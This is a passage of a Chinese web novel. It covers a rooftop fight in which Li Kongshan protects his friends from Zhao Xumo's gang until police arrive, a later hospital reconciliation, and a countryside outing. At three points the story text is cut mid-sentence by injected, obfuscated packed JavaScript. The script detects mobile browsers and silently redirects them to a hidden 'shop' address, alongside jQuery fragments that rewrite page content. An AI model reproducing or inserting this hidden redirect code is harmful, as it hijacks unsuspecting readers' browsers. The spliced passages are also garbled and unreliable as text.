“你们都对李空山忠心是吧,那我今天就让你们看看,你们的忠心如何让你们自己害死自己。” 赵旭摩咧嘴哈哈大笑,下一秒,他举起手中打火机,引燃左手拿着的木棍。 “我看谁敢!” 一路跑过来,李空山爬上楼梯,扶住墙,喘了一口气,又立刻大步朝小海等人跑过去。 少年的目光坚硬而狠厉,棱角分明,有着岁月无法蹉跎的锐气。 “李空山!” 连翘惊喜,这下小海和楼巩他们有救了。 在所有人里面被揍得最惨,快要昏倒过去之前,小海依稀之间似乎看到了李空山的身影。 他以为是自己出现了幻觉,才会在临死之前浮现出最想见的人的模样。 他想,死之前还能看到像哥哥一样对自己好的李空山,这辈子好像也没什么遗憾。 “李空山?” 赵旭摩举起打火机的手慢慢放下来,满眼诧异,匪夷所思说:“你不是去市里了买东西了?我的人亲眼看到你上了车,就算你去买完东西就回来,也不可能这么快!你算计我?” “我要是真算计你就好了。” 少年阴鸷的目光直勾勾落在赵旭摩身上。 他跑到小海几人面前停下,将他们挡在身后,拳头握得很紧很紧,“要是真能算计你,今天也不会让你把小海他们伤这么重。” 今天,李空山的确是坐上了去市里的大巴车,准备去给奶奶买药,赵旭摩的人也确确实实看到他离开了清流镇。 只是…… 放学之前,连翘就已经在教学楼的走廊上看见赵旭摩带着宇瑞在学校对面的街道上来回走动,像极了是在等候什么。 周围也站着可疑的人,像是跟他们一伙儿的。 以防万一,连翘借班主任手机给李空山打电话,虽没有直接告诉李空山她等会儿可能会遇到危险之类的事情。 但他告诉李空山,如果二十分钟以后她没有给他打电话回去,那么一定是发生了点儿什么事。 二十分钟,足够她从学校回家。 只是李空山实在不放心,在大巴车上,他打电话给小海,小海没有接。 打电话给楼巩,楼巩也没有接。 陆陆续续打了好几个人的电话,全都没有响应,李空山忽然意识到,事情不简单。 大巴车开到一半,李空山跑到车门边,让司机开门,他要下车。 荒路上,一眼望去,只有大片的田野和绵绵不断的群山。 李空山拦下一个骑着骑行车路过的人,把他拽下来,自己骑上自行车。 他塞给青年一张纸条和一百块钱,“上面有我电话,明天你打电话找我,我把车还你,这车我先借你用下。” “哎——等……” 青年还没反应过来怎么回事,李空山就已经骑着自行车沿路返回。 他望着李空山的背影,只见少年蹬得很快,火急火燎,仿佛有大事在等着他,但凡再慢一点儿,就会出大乱子。 - “哈哈。” 赵旭摩摊开手,又不厚道地笑了,“怎样?我的杰作你还满意吧?只可惜你来的太早了。” 他摆出无奈的表情,感叹道:“更精彩的空中火人还没上演呢。” “你觉得我会让你有这个机会?” 李空山大步朝赵旭摩走去,一脚踢开他手里的打火机和供引燃用的木棍,赵旭摩一个酿跄,退了好几步才稳住。 在黑武会待着的人,每天必做的事便是练武术,而李空山打小就在黑武会里长大,自然身手极好。 他不给赵旭摩反应的机会,如猎豹出击,有力的拳头带着凌厉的劲风直逼赵旭摩的脸。 赵旭摩虽侥幸躲过这一拳,却没躲过李空山划破空气的一记鞭腿,直击赵旭摩下盘。 他痛得嗷嗷叫,右手捂住又被李空山膝盖撞了下的肚子,朝栏杆边上的人喊道:“还愣着干什么!点火啊!我早让你们准备的火柴还不拿出来!” “是是是。” 分别按住小海、楼巩、许弋刚、孟河等人脑袋的人听到赵旭摩发话,立即反应过来,撒开手,纷纷在兜里去掏火柴。 而小海他们则因没了支撑,沿着栏杆瘫倒在地。 个个被打得鲜血淋漓,早就没丁点儿力气。 李空山回头望,眉头一紧,拎住已经流鼻血的赵旭摩衣领,“你敢!” 赵旭摩咧嘴笑:“你觉得我敢不敢?李空山,这是你自找的!” 他恨透了李空山,势必要一雪前耻,让他好好尝尝挫败的滋味。 李空山顾不上赵旭摩了,掉头跑到栏杆边,左手拎起一个人往后甩,右脚踢开准备楼巩身后引燃火柴的男人。 见状,连翘也赶来帮忙。 她死死抱住已经引燃火柴的男人的脚,拖住他,不让他往前走。 男人发狠,踢了连翘几脚。 她还是不肯放手。 李空山赶来,揍了男人几拳,又把他踢打承重柱边上去。 两人加快速度,逐一阻止要点火的男人,被李空山打倒在地上蜷缩着身子的人也越来越多。 “干什么!给我抄家伙啊!” 赵旭摩早有准备,一开始就命人在承重柱边放好了钢条。 他率先走到承重柱边,抄起一根钢条朝李空山走去。 而他手底下的人听到喊话后,也随之跑来抄钢条。 除了赵旭摩外,其他人的目标都不是李空山。 这些男人纷纷走到还剩最后几口气的小海、楼巩、许弋刚、孟河等人身后,挥起钢条,欲朝他们打下去。 因为赵旭莫想赌一赌,看看李空山会不会不顾自己的安危去护着他们。 连翘失控大喊道:“赵旭摩!你个疯子!在打下去,就出人命了!” 她说的是真的,小海他们就剩几口气,浑身是血,再打下去,就没命了。 他无所谓挠耳朵,笑了笑说:“那不就正合我意?” 还在和另外一个男人缠斗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165893|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李空山见一个男人手中的钢条就要打在许弋刚的背上,他二话不说,冲了过去,用自己的身躯替他挡下这一击。 昏昏沉沉间,许弋刚微张的眼睛看见挡在自己身前的李空山。 他没有力气了,半天才能挤出一个字,声音嘶哑干涩,“哥……你、你别管我。” 背后的男人用脚踹李空山后背,李空山伸出手去护着许弋刚的后脑勺,以免他的头撞到栏杆。 少年眼中闪过一抹凶恶,站起来转身,一脚踹开这男人,又按在地上,狠狠地往死里打。 打得男人站都站不起来后,李空山又冲过去替其余人挡住打下来的钢条。 钢条抽出一道红印,赤裸裸地灼烧着李空山手臂上的肌肤,红印长长的,火辣辣的,更免不了发出难以忍受的痛。 就这样一个接一个硬生生地挨,李空山身上被抽出不少红条印子,而他所护着的人,没一个挨了钢条。 对此,他很满意,两手撑在栏杆上,弯腰 背身,看着身下的楼巩,缓缓露出一抹笑,渗人,却又发自内心。 男人无比觉得李空山是个疯子,都被打成这样了,还能站得起。 他的上衣被钢条抽出的伤口血液染红,东一片,西一片,脸上到处是磕着碰着的口子。 赵旭摩站在原地,心有忌惮,诧异于李空山护着他手下的人的决心。 以前,他以为他只是装装样子而已,可现在看来,他好像不是装的。 他为了护着他们,来不及还手,挨的打,不比之前小海他们的轻。 赵旭摩回过神。 他意识到自己不能被李空山这幅样子给骗了,右手捏着钢条,左手拿着实心红砖,朝他走过去。 他今天绝不会放过李空山。 李空山站起,面朝走过来的赵旭摩,勾起嘴角一笑,哪怕他的步子有些不稳,身上的伤口在痛,但他看向赵旭摩的眼神,永远那么阴鸷、狠厉。 “住手!” 连翘匆匆跑上楼,厉声喊道。 赵旭摩偏头看向她,突然发现,刚才这女孩一直不在。 赵旭摩偏头,微眯着眼睛,“小贱人,看不惯我打李空山,想让我先打你?” 李空山朝前走去,右手握住的棍子径直指着他,目光狠厉:“你敢。” 赵旭摩刚想开口,连翘身后陆陆续续走上来穿着制服的警察。 “所有人把东西放下,举起手!全部不许动!” “tm的。” 赵旭摩呸了一声,心有不甘地撒开手放下钢条,把手举起。 他恶狠狠地盯着连翘,“臭婊子,我还寻思你刚刚跑哪儿去了,原来是去找警察报警去了。” 李空山拖着被打得发软无力的左腿,走到赵旭摩面前,拎住他领子,恶语道:“你tm再骂她一句,老子割了你舌头。” 赵旭摩哼一声,轻蔑笑着,对着李空山瞪了回去。 警察赶来,制服住赵旭摩,将他与李空山分开。 其余警察把小海、楼巩等人抬上担架,匆匆下楼。 赵旭摩手下的其他人也被控制住。 而终于松了口气的李空山看向连翘,确认她也安然无恙,对着她扬起一抹安心的笑,下一秒,伤得实在太重、不胜体力的他倒了下去。 “李空山!” 连翘慌张跑去,将他扶住。 36. 第 36 章 “张嘴,啊——” 连翘坐在床边,细心地往李空山嘴里喂东西。 李空山嚼呀嚼,气定神闲,看上去心情格外好。 “你都已经出院几天了,公安局那边也去录了口供,还好你是防卫伤人,不然,你现在可没机会在这儿让我喂。” 李空山看了眼坐在床边的女孩,突然坐直,凑到她眼前去,笑笑说:“你担心我呀?” “没有。” 连翘的耳朵嗖的一下变得红红的,她把脑袋往后仰,别开脸,鼻尖似乎还萦绕着——刚才少年凑过来时的呼吸。 “没有就没有,你躲什么嘛。” 他重新往后仰,靠在床头,左手拿着连翘削好的、上次他帮过忙的老爷爷送来的梨,“对了,小海和楼巩他们现在怎么样了?” “我可没有躲,是你自己离我太近了。”连翘重新坐好,拿起勺子喂他喝汤,“他们没有涉及到滋事挑衅打人,还是受害者,录完口供就一直在医院。” 连翘回头,看了眼身后柜子里放着的日历,“如果我没记错的话,应该昨天就出院了。” “哦,那就行。”李空山自信满满,“这帮小子我从小看着长大的,他们福大命大,我就知道不会出什么事。” “再福大命大,也经不起这么折腾。” 连翘依旧有些担心:“李空山,我还是觉得很危险,按赵旭摩的性子,他以后肯定还会继续找你们的麻烦,我想不明白,你们之间到底有什么过节,整天拿命去跟对方斗?” “过节谈不上,就是点小恩怨而已。” 他抬眼看她,女孩的眼里有着说不清道不明的忧虑和不安,他轻松自然开口说:“好了,你完全没有担心我们的必要好吗。你觉得要不是这次小海他们中计被骗了过去,至于落在他手里吗?我们会斗不过他?” “是。”连翘又追问,“所以那天到底怎么回事?真的是小海把他们带过去的?他难道看不出来是陷阱、是赵旭摩早就挖好的等着他们跳进去的坑?” “谁知道呢。” 李空山伸了个懒腰,有意在躲避这个话题。 突然想到什么,他坐直,再次凑到连翘眼前,“喂,我说,你刚刚躲着我,不会是因为害羞了吧?怎么我靠近你,你就害羞?你是不是喜欢我啊?” “胡说!” 连翘急了,放下碗站起,随便想个了理由搪塞道:“我突然想起,阿婆说她又买了老母鸡养着,听说你受伤了,让我去拿一只给你好好补补。我先下楼去了。” “哦——” 他意味深长地发出声音,看着她走出门去,自言自语:“这个阿婆,平日里对我又打又骂的,看看,关键时刻还不是一样关心照顾我。” 连翘走出门,刚一抬头,就看到一直坐在楼梯处的小海匆忙起身站好。 他的手摆在身侧,有些不知所措。 连翘有些惊讶:“小海,你怎么来了?干嘛一直在外面等也不说一声?” 小海支支吾吾:“我……” 他看了眼屋子里的人,问道:“我哥他怎么样?” 连翘回答:“恢复得挺好的。” “你是来看他的吗,是的话就进去吧,刚好我要出趟门。” “哦不用了。我就在这儿看看就行,知道他没事就好。” 小海连忙摆手,着急慌乱,就仿佛在害怕面对一些东西。 连翘望着他,目光疑惑。她又回头看了眼李空山,重新对小海说:“你确定不进去看看?他才和我念叨你呢。” 小海愧疚地低下了头,目光黯淡,“可是我没脸去看他。” 连翘还在揣摩这句话是什么意思,屋里的李空山注意到了门外的动静,同样听到了依稀传来的对话声。 他朝外开口喊道:“谁啊?是小海吗?是就给我进来。” 小海错愕地抬起头。 连翘说:“看吧,他都让你进去了,你就赶紧进去吧。” 虽然不知道小海在担心什么,但她觉得肯定不是什么大不了的事。 毕竟,李空山一日拿他当兄弟,就会一辈子拿他当兄弟。 小海颤巍巍走了进去,步子缓慢,明明是一段并不长的路,可却硬生生被他走了许久。 李空山坐在床上,左腿还打着石膏,手里把玩着两颗核桃。 他看着一旁垂头丧气站着的、头上还缠着纱布、鼻尖还有没愈合的伤疤的小海:“你愣着干什么,坐啊。” “哦哦哦好。” 小海似是在想事情,又仿佛是没想到李空山会和他说话,他有些没反应过来,手忙脚乱地搬来一张凳子坐下。 他依旧沉默着,一言不发。 李空山盯着他,说:“咋的,哑巴啦,被人打了一次,连话都不知道怎么说了?” 小海眼眸中有自责,也有难过,他憋在心里很久的情绪终于在这一刻缓缓释放。 他疏忽站起,扇了自己一巴掌,说:“哥,你打我吧,骂我吧,不然我永远都会良心不安,我心里过不去这道坎儿,都是我的错!都怪我!如果不是我把他们带去那儿,楼巩和刚子他们就不会有事!” 男孩的声音在颤抖,最后一两句,甚至还带着微弱的啜泣声。 “干什么你!” 李空山艰难挪动,抬手拽住小海那还在扇自己巴掌的手,“谁让你打自己的,大老爷们,不要脸啦?把脸打坏了,我看以后还有哪家的姑娘喜欢你!” 小海不敢看李空山,低下头,声音生涩沙哑。 “那天是我把他们带去烂尾楼的。有人跟我说,你找我们,说是要给我惊喜,我……我没多想,就去了。哥,那天发生的所有事都怨我!你打我骂我吧!都是我的错!” 李空山看着满脸自责愧疚的小海,莫名觉得心酸酸的,有些心疼。 小海一直以来都被他看作弟弟。 他拽住小海的手不放开,以免他又去扇自己巴掌,看了眼凳子,命令道:“你给我坐下。” “不坐。你不惩罚我,我就不坐。” “嘿你小子,还给我较真了是吧。” 李空山盯他一眼,压下心里的急性子,放缓声音,和气地说:“我让你坐下你就坐下,这事不怪你。” 他强行按住小海肩膀,让他坐了下去。 “那天,传话的人一句‘我给你惊喜’你就屁颠屁颠跑过去了,什么原因难道我会不知道吗?” 李空山看着自责愧疚的小海,继续说。 “我难道不知道你是什么人?你又不像楼巩那一根筋直性子。我知道你做事小心谨慎,要换做平时,绝不可能因为一句话就把空着手兄弟们带去那边,还一点儿堤防都没有,中了赵旭摩的埋伏。” “你之所以毫无防备,听到一句给惊喜就冲去了,好不是因为,那天是你生日。” “你听人说,我要找你,心中只有兴奋和激动,迫不及待去看我到底给你带了什么惊喜,根本来不及想别的。” 小海愧疚地抬起目光,又有些别扭,“原……原来你都知道啊。” 他终于敢直视李空山的眼睛。 “我是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165894|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人?我能不知道?哦,敢情这么些年,你一口一个哥都白叫了呗。” “没有!” 小海差点就要哭鼻子了,急急忙忙摇头否认。 李空山从枕头底下捣鼓半天,终于摸到他要找的东西,他递到小海面前。 是一个精巧的折叠复合弹弓。 小海心心念念了好久。 李空山在几个月前就找木匠老板专门定制的——送给他的。 “诺,送你的礼物,生日快乐。” “我的……礼物?” 小海愣愣地盯着眼前的弹弓——曾经路过店铺时说了喜欢、李空山就帮他记下的弹弓。 从小到大,小海就喜欢玩弹弓,眼神好,打得也准,只不过以前那个用了很久,坏掉了,他在黑武会跑上跑下忙事情,也忘了再买一个新的。 这下,小海是真的忍不住想哭了。 他委屈着一张脸,泪眼汪汪,突然朝李空山扑过去,抱住他,声音忽平忽抖。 “哥!我就知道你没忘记我的生日。” 小海越说越委屈。 “他们都调侃我,说你的心思全在连翘身上,早就忘了我这个兄弟了,那天把我骗过去以后,赵旭摩那混蛋也说,你根本就不会把我这个兄弟放在心上。” “我说我不信,他还骂我傻。” “好了好了,别伤心了。” 李空山觉得自己这会儿应该伤感一下,可是小海这幅悲伤得快哭出来的样子却莫名逗笑了他。 他把小海扯开,笑着打趣说:“差不多就行了啊,别把眼泪水蹭我身上了。” 小海很高兴,抱住李空山送他的弹弓,“是!我听哥的!” “可是你真的不怪我吗?” “我怪你干嘛,你那么没有防备,只是真的把我当哥了而已,我应该高兴自豪才是。我有病才会去怪你吧。” 小海这下终于放平心态,突然想到什么,他说:“对了,哥,听说赵旭摩被他爸带回家教育去了,他爸罚他在自家门口跪了三天。” “哟,太阳打西边出来了?” 李空山倒觉得这事很意外,毕竟以前赵旭摩打架伤了人,他爸把他保回去,当个宝一样护着疼着,半点儿惩罚都不会让他受。 “也是。”李空山想起,再过段时间上面就要下来巡查组检查了。 赵书誉这人就算再疼他儿子,那也不敢任由他儿子出去闯祸。 毕竟过段日子就是关键时期,处在风口浪尖上,他如果还想保住他的官位,那就得让他儿子消停些。 李空山招手,让小海凑近些,笑着问他:“想不想看我怎么给你们报仇?” “不想!” 小海斩钉截铁,“哥,我不想你有事,这个仇咱不报了。再说了,此事因我而起,是我太草率,就当给我长个教训就行,我自己受着。” “至于楼巩、刚子,孟河他们,我全心全力对他们好,不止住院这段时间,以后我也对他们好,就当赔不是了。” “你别为我们去做不值得的事。” 小海望着李空山,这些话,他是发自内心的。 李空山看着小海,莫名觉得心情怪怪的,小海虽然看着很瘦,让人看起来不是块当打手的料,但其实他这人心思很细腻,做事也很小心缜密。 放在平日里,李空山很难见到他有如此着急慌张的一面。 “瞧你那紧张样——”他假装无所谓地笑了笑,宽慰小海说:“放心,用不着我出手。他们赵家落在我手里的把柄,也是时候派上用场了。” 37. 第 37 章 初秋随着一场雨骤然降临。 连续下了一个礼拜,雨才算彻底停。 这个周末,天气放晴,微风和煦,魏可萱想约楼巩出去秋游,找到小海,请他帮忙。 “小海弟弟,算我求你了行不行?你就帮我把楼巩带出来嘛,好不好?” 魏可萱缠了小海一路,哪怕小海已经走到家门口了,她还是不肯罢休。 “行了行了,我帮,我帮还不行吗,我耳朵都快被你唠出茧子了。” 小海刚走一步,又掉头回来,想了想说:“你刚刚说的什么,秋游?” “是呀是呀。” 魏可萱欣喜点头。 “我当是什么呢,原来是秋游啊,好好好,这个好。” 小海点头赞扬,轮到他在李空山面前表现的时候到了。 他对魏可萱说:“让我帮你把楼巩带出来可以,但是我有个条件。” 魏可萱眼巴巴地凑上去,满眼期待,“好说好说,只要你能帮我把我家楼巩带出来,你有什么条件我都答应你。” 小海招手说:“你们两个人出去多没意思,我再带点儿人,咱们五人行。” - 最初小海跟李空山提议出去玩的时候,李空山并没有一开始就答应。 他对小海说:“这一天天的,外面还有那么多债没收,你脑子里就全想的出去玩儿?我平时都怎么教你的?” 小海绕过凳子重新挡着李空山,反驳道:“哥,我这可是为你着想啊。你看看,连翘整天一门心思扎在她的学业上,看着也怪紧张的,这次不正是一个你带她出去玩玩放松放松的好机会嘛。” 李空山若有所思,拍拍小海的肩,肯定他:“也是,你说得还挺有道理。” 于是,在一个风和日丽的周末,李空山带着连翘和小海一起出去秋游了。 乡间的风萦绕在脸庞,弯弯绕绕的小路窄窄的,不宽,但却干净整洁,没有半点儿工业制品的污染。 空气中弥漫着青草的芳香和泥土的味道。 小路两侧是一望无际的稻田,农人收割后的稻谷堆还在稻田边上堆砌着,在暴雨侵袭后冲刷到更远的地表面。 天空是碧蓝色的,澄澈洁净,不染一丝尘埃和污垢。 黄褐色的稻田、湛蓝的天空、灰色的柏油马路,这一副融洽和谐、静谧整洁、随着和煦微风缓缓自由摆动,像幅蜡笔画的画面里,闯进三辆自行车和几个坐在车上的男孩女孩。 “我说——你们没吃早饭吗?使劲儿蹬啊,怎么回事,半天都追不上我们。” 李空山肆意笑着,蹬着单车,载着连翘,跑在最前面,遥遥领先。 而他的身后左右各两侧,骑着单车的则分别是载着魏可萱的楼巩和只身一人的小海。 楼巩笑着,大声喊道:“哥,我看你别得瑟了,我们那是追不上你们吗?我们只是慢慢骑,欣赏沿途的风景而已。” 小海气喘吁吁,额头已经冒出虚汗,可仍是不敢懈怠半点儿,使劲儿蹬着自行车,“就是,哥,你骑慢点,等等我们呗。” 李空山傲娇,“切”了一声,扬眉吐气说:“我才不要。” 连翘坐在他后面,双手扯住他的衣角,笑了下,跟在看小孩子一样,说:“行了,李空山,你幼不幼稚,慢慢骑嘛,本来这里就很漂亮,不用这么急。” “哦,也行。” 别人说没有用,连翘发话,他自然是能听进去的。 他放满速度,不再蹬那么快,三辆单车齐头并进,以较之于从前相对来说更缓慢的速度行驶着。 和风吹起少年们白色的、黑色的、青绿色的衣裳,鼓鼓的,像起伏的气球。 坐在少年身后的女孩扬起恬淡的笑容,任由微风掠过她们的脸颊,仔细地……仔细地感知这场风带来的眼前少年的温度和气息。 魏可萱看着前方的楼巩,心满意足,这一次,她终于可以离他比以前更近些了。 小海注意到她那放不平的嘴角,骑到他们旁边去,“诶”了一声,说:“怎样,你这次是不是得好好感谢我?” 魏可萱瞪他一眼,扬起下巴,高傲不已,说:“你先一边去,这儿不需要你来插嘴。” 小海露出惊讶的表情,叹为观止。果然,这个魏可萱就是个变来变去的人。 她有事求他的时候,一口一个“小海弟弟”喊得相当热情,现在事情办成了,用不着他了,一句“一边儿去”就想把他打发。 小海欲辨已忘言,不服气,却找不到话说。 李空山从后面骑上来,看着他笑:“好了,小海,别跟她一般见识,她这人就这样,跟你开玩笑。” 小海嘀咕一声,盯着楼巩身后满面春风的魏可萱,愤愤不平:“我才懒得跟她一般见识!” 他笑着看向李空山:“哥,还是你对我好。” “是吗?” 李空山拉长声音,若有所思,忽然,他撒开握住单车把手的右手,指着小海后肩,疑惑地说:“诶,你看那是什么?好像是个蜗牛在你肩头爬诶。” “真的假的!” 小海骇然,皱起眉头,脸上忍不住露出恶心又嫌弃的表情,斜睨目光朝后肩看去。 他平日里最害怕这种蠕动的东西了。 “骗你的。” 李空山趁着他回头的间隙,眼疾手快,掏出刚才在路边摘的荷叶盖在小海头上,荷叶又宽又大,遮住他的视线。 原来李空山和连翘刚刚落伍,是去捣鼓这玩意儿了。 “哥!连你也欺负我!” 小海取下荷叶,气鼓鼓的。 为了报复回去,他用极快的速度用力蹬单车,只为把这片荷叶重新甩在李空山脑袋上。 见状,李空山连忙加快速度,同样也用力蹬,时不时回头,看看小海有没有追上自己。 少年笑得很开心。 坐在她身后的连翘脸上满是无奈,扬起充满笑意的嘴角,牢牢拽着他的衣角。 阳光下,她的目光里有的,只是少年肩头的光辉。 魏可萱坐在楼巩身后,同样拽着他的衣角,指着在一旁打闹的李空山和小海,说:“他们真好玩儿,跟两个幼稚鬼一样。” 楼巩目光一直很平稳,一路上他都在保持沉默,而现在,他终于开口说话,回应魏可萱。 “我希望你下次不要再用这种方法找我出来了。” 他的话语是那样毅然决然,就像他这个人,像他的目光一样。 魏可萱扬起的嘴角忽然放下,变得僵硬,仿佛被冰块冻过很多年一样,僵硬得不知如何操控自己的面目表情。 “我……” 她的目光也突然变得难过,变得哀伤。 只见她低下了头,“我只是太久没看到你,想见你了。我去找你,你又不见我,我只能拜托小海帮我。” 楼巩的声音继续想起,平静冷漠得没有一点儿感情。 “这次我答应出来,只是不想扫了空山哥的兴,他满心欢喜期待着带连翘出来散散心,这些话,我也就在私底下和你说说,希望你能往心里去。” 魏可萱不解,变得委屈,“可是,我到底是哪里做得不够好,才让你这样千方百计地躲着我、避着我?我如果有做得不够好的地方,你跟我说啊,我可以改的。” “这不是你的问题,跟你没关系。” 楼巩专心看路,一门心思蹬着自行车,回答身后女孩的话,声音总是寡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165895|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得没有波澜和起伏。 更让人看不出半点儿感情。 “我说过了,是我不喜欢你这种类型。你很好,不需要改,是我没眼光。” 魏可萱气鼓鼓地看着柏油路,但藏在她心里更大的情绪,是委屈。 她大喊:“停车,我要下来!” 楼巩没有照做,直视前方的路,说:“还没到地方。” 魏可萱便咬紧牙,直接往一边儿的空地跳下去。 “嘭——” 一声巨响。 楼巩把车停下,慌张回头,“你疯了!” - 一路追着跑着闹着,李空山载着连翘,同一时间和小海到了目的地。 在一棵已有百年历史的榆树下,遍地绿草如茵,李空山从工具包里找出东西搭帐篷,望着远处嘀咕:“这楼巩和魏可萱两人咋回事,还没骑过来。” 小海在不远处的河滩边洗完手,笑嘻嘻往榆树下方走,大声回答道:“哥,这两人说不定在半路腻歪着呢,咱别管他们,该干嘛干嘛。” “也是。” 他低下头,继续整理架子。 一旁摆东西的连翘有些担心,她抬起头:“不会是路上遇到了点什么状况吧?” “不至于。”李空山对楼巩还是很信任的,他这个人一向沉稳,做事有分寸。 “你不用担心他们,有楼巩在,他完全靠得住。” 三个人开始各忙各的,搭帐篷的搭帐篷,摆桌子和凳子的摆桌凳,到河里叉鱼的叉鱼。 李空山注意到连翘一直保持沉默,放下手上的东西,两手放衣服兜儿里,走到她身边,“怎么了?有心事啊?” “没有。” 连翘回过神,那双失焦的眼眸里的光渐渐汇聚,她站起来解释:“我刚刚就是在想,明年的夏天我能不能如愿以偿考上一个好大学,在想我的那些题该怎么纠错,在想我有些弱势的地理该怎么提分。” 说着说着,她有些愧疚,低下头,“对不起啊李空山,明明答应你,和你出来玩就好好放松,但是我还是控制不住去想这些。” 他仰头笑了下,重新看着她:“嗐,我还以为什么呢,原来就这事儿啊。” “我跟你讲,你现在想这些都是正常的,人嘛,心里难免会装着自己担心的、害怕做不好的事儿。” 他用手指轻轻戳了戳她的脑袋:“它要想的话,你就任由它想去,等什么时候它想累了,不想了,你就可以好好地放松自己。” 她抿嘴仰头,小心又好奇,“你不怪我煞风景?” “我看是你以为你煞风景。” 李空山拉起连翘的手腕,带她跑到小溪边,大声问小海:“怎么样了?” 小海起身站直,笑容洋溢,招手回答道:“哥,这边儿好多鱼呢!你们快来!” 李空山回眸,看着连翘,“听见没,走我带你抓鱼去。” 他牵着她,赤足从河滩边缓缓走入溪中,溪水逐渐淹没少年少女的脚背。 脚底传来鹅卵石和泥沙错综交错的触感,沙沙的,凉凉的。 裤腿被挽起来。 连翘“诶”了声,身子往后倾,躲闪了下。 李空山偏头,着急询问,“怎么了?” 女孩皱着的眉头逐渐舒缓,扬起笑,轻声说,“没事,刚才有条小鱼在嘬我。” 少年跟着她笑了,提心吊胆的心情渐渐放松,继续牵着她往溪中走去。 她看着眼前牵着自己往前走的少年,他的嘴角荡漾着笑意,背影总是让人安心、踏实。 身躯坚硬,棱角不磨灭。 有那么一瞬间,连翘看着被牵住的手,差点儿以为,这个梦可以做很久很久。 38. 第 38 章 “我们回来了——” 魏可萱走在最前面,语调寡淡,看上去心情不太好。 走在他身后的楼巩低下头,沉默着。 “干啥去了,这么久才回来,我的鱼都快烤好了。” 李空山站在烧烤架边,盯着这两人。 不对劲。 太不对劲了。 他明显地感觉到这两人之间的气氛怪怪的。 坐在桌边的连翘倏忽站起,她注意到魏可萱的脚,“你受伤了……” “不用你管。” 魏可萱绕开连翘,独自一人坐到榆树下去,撇开脸,气鼓鼓的,不看任何人。 “喂。” 李空山走过来,手里拿着串好烤到一半的鱼,“她关心你,你这么冲干嘛。” “没关系。”连翘快步走过来,拦住李空山,给他一个安抚的眼神,示意他没事。 低头看了下自己侧包里带着的东西,连翘走到她身边蹲下,翻找出一盒药膏,给她手肘处、脚腕处的伤口擦药。 “这是以前一个老中医送我的,治皮外伤特别有效,冰冰凉凉的,你放心,不疼。” 魏可萱扭回脑袋,盯着她,气鼓鼓说:“你假惺惺对我好,演给谁看呢。” “演给你看呀。” 连翘叹了一口气,还好她知道魏可萱这人就是这脾性,不然的话,她才没耐心在这儿和她耗着。 “你不是不喜欢我吗,那我就对你好点,到时候楼巩哥看了啊,你在他心里的形象就更差了。” “你——!” 魏可萱更加生气。 “不高兴啊?” 连翘无所谓看她一眼,继续擦药,说:“不高兴你还在这儿甩脸。你们俩刚才怎么了?怎么一回来就看你不高心。” “闹矛盾了?” 魏可萱把脸别开,仰起头望着天,还是放不下脸面。 “不关你的事。” “是不关我的事。可是你看楼巩哥也沉默着一句话不说,他心里可能也不好受,难道他刚刚欺负你了?” “没有!你不准胡说!” 连翘抿嘴,思虑一番,说:“那你身上磕绊出来的伤怎么回事?” 魏可萱嘴硬,非要逞强,姿态依旧高高在上,“我自己弄的!” “自己伤自己?” 连翘疑惑,伸出手去摸魏可萱的额头,满是不解:“没发烧啊。” 魏可萱气愤地拧回脑袋盯着她:“你骂我有病!” 连翘无辜摊手,“我可没这么说。” 魏可萱又再次把头别开,依旧气鼓鼓的。 连翘反应过来,“哦”了一声说:“我知道了,你是故意这样的,好让楼巩哥到时候心疼你,对你有所愧疚,是吗?” “不——是——!” 魏可萱气鼓鼓瞪着连翘,“你这人怎么这么烦,一直问个不停,我不想说你还问,讨不讨厌啊!” “讨厌就讨厌吧。反正药给你擦好了。” 连翘起身,拧紧药膏瓶盖。 魏可萱后知后觉去看自己擦破的手肘和膝盖、脚腕,这才意识到连翘刚刚一直在和自己说话,其实是想分散她的注意。 不然,照她这性子,早就抗拒擦药,直接把连翘给推到一边去了。 连翘转身,把药膏放进挎着的侧包里,准备走。 魏可萱“唰”的一下脸变红,抬眸盯着她的背影,“哎”了一声,“你等会儿,先别走。” 连翘悠然回头,无所谓地开口:“怎么了?有事?” 魏可萱抬起下巴,明明有些愧疚,但还是装出一副高傲得不行的模样:“刚好我无聊,你过来陪我说说话。” “行啊。” 连翘从容答应,迈着轻快地步子转身回去,在她身边坐下。 魏可萱偏头盯着她,“我现在好像突然能明白为什么李空山这人对你这么上心了。” 连翘同样偏着头看她,问她:“为什么?” “你有自己的心思,聪明,知道用什么方法能让李空山在人群中偏偏只看你一个人。” “什么意思?” 